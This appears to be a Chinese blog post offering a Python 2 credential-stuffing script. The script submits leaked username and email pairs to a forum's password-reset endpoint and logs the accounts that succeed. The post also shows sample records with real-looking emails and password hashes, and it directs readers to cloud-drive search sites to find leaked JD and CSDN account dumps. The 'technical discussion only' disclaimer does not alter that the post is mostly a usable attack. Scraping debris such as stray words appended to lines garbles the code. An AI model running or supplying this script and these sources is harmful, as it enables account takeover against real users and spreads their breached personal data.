其實平常生活中咱們的用戶名和密碼就那麼幾個,因此這給撞庫帶來了可能,本文主要給出python腳本撞庫的一點粗淺代碼。這裏只討論技術本生,代碼中某榴的地址也已經改掉,避免被管理員誤解禁言等發生,謝謝你們理解。php
代碼以下:html
import sys
reload(sys)
sys.setdefaultencoding('utf-8')python
import requests
import timeweb
def test_register(username,email):app
headers={ "Content-Type": "application/x-www-form-urlencoded", "user-agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36", "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "content-length":"44", } try: params={'pwuser':username,'email':email,'step':'2'} print params r=requests.post("https://某榴.tk/sendpwd.php?",data=params,headers=headers) result=r.text.encode("latin1").decode("gbk") return result.replace('\n','').replace('\t','').replace('\r','').replace(' ','') except Exception as e: print e
def check_file(username,password,email,file):函數
what = test_register(username,email) if what and u"注意查收" in what: print username,password,email info=username+","+password+","+email with open(file, 'a+') as f: f.write(info+'\n') #加\n換行顯示
def check_txt(no):post
out_put="output"+str(no)+".txt" file=str(no)+".txt" fh = open(file) for line in fh.readlines(): try: r=line.split(",") username=r[0] password=r[1] email=r[2] check_file(username,password,email,out_put) except Exception as e: print "ee",e time.sleep(10)
if name == '__main__':url
#get_all_data()
check_txt(4).net
把代碼放到某個文件夾裏面,而後準備幾個txt文檔,文檔以0-n的天然數命名,文件格式爲:
caopengyu,rQf7JaotOp+W7h12XgvpAg==,yamaoshixode@163.com
中二病,AAO2b4zLbWtgu6gxcyYHiQ==,2054117123@qq.comcode
主函數中寫4 表明文檔4.txt,都很簡單,其餘依此類推。
至於帳號問題,曾經京東、csdn都泄露過一批帳號,如今能夠搜索到,我常用網盤搜索:
http://www.quzhuanpan.com/sou...¤tPage=1
https://www.panc.cc/s/%E8%B4%...
http://www.panduoduo.net/s/na...
你們本身嘗試獲取一些帳號。不會百度吧,這年頭不會搜東西的程序猿不是好程序猿。
僅限技術討論,勿要深究其餘問題出現不和諧的東西,再次感謝,多多指正。